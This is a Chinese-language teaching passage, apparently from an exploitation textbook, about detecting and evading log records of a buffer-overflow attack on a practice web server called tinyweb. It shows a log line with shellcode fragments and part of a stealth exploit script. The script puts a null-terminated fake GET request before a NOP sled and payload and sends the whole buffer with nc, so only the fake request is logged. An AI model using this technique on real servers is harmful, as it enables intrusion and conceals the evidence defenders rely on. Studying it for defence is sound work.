入侵最明顯的兩個跡象之一就是記錄檔(log file)。tinyweb daemon 的日誌是排查問題時首先該看的地方之一——即使攻擊成功了,日誌仍留下痛苦地明顯的紀錄,顯示出事了。
漏洞利用在日誌中一目了然#
08/01/2007 15:43:41> From 127.0.0.1:45396
"␣␣␣␣␣␣...jfX␣1␣CRj j ...Rh//shh/bin..." NOT HTTP!
此例中攻擊者取得 root shell 後,因日誌在同一系統上,可以直接編輯它。但在安全網路上,日誌副本常被送到另一台安全伺服器;極端情況下甚至送到印表機列印硬拷貝,留下實體紀錄。這類對策防止了利用成功後對日誌的竄改。
融入人群:偽裝成合法請求#
即使日誌本身不能被更改,有時「被記錄下來的內容」卻可以。日誌通常含大量合法項目,漏洞利用嘗試顯得格外突兀。
在有龐大日誌的大型企業中偽裝特別有效——合法請求太多,容易藏身:在擁擠的商場比在空街上更容易融入。 目標是讓日誌項目看起來像合法的網頁請求。
tinyweb daemon 的原始碼有個簡單錯誤,讓 request 緩衝區在用於日誌輸出時被提早截斷、但複製進記憶體時卻不會:
xtool_tinywebd_stealth.sh 在漏洞利用緩衝區前放一個合法外觀的請求,並用 null 位元組終止這個偽裝:
FAKEREQUEST="GET / HTTP/1.1\x00"
...
(perl -e "print \"$FAKEREQUEST\" . \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"\r\n\"") | nc -w 1 -v $2 80- null 位元組不會停止
recv_line(),所以其餘漏洞利用緩衝區照樣被複製到堆疊。 - 寫日誌的字串函式以 null 位元組終止,所以只記下偽造的請求、其餘部分被隱藏。
結果日誌看起來完全正常:
08/02/2007 13:37:44> From 127.0.0.1:32828 "GET / HTTP/1.1" 200 OK
雖然這方法無法更改被記錄的 IP 位址,但請求本身顯得合法,不會引起太多注意。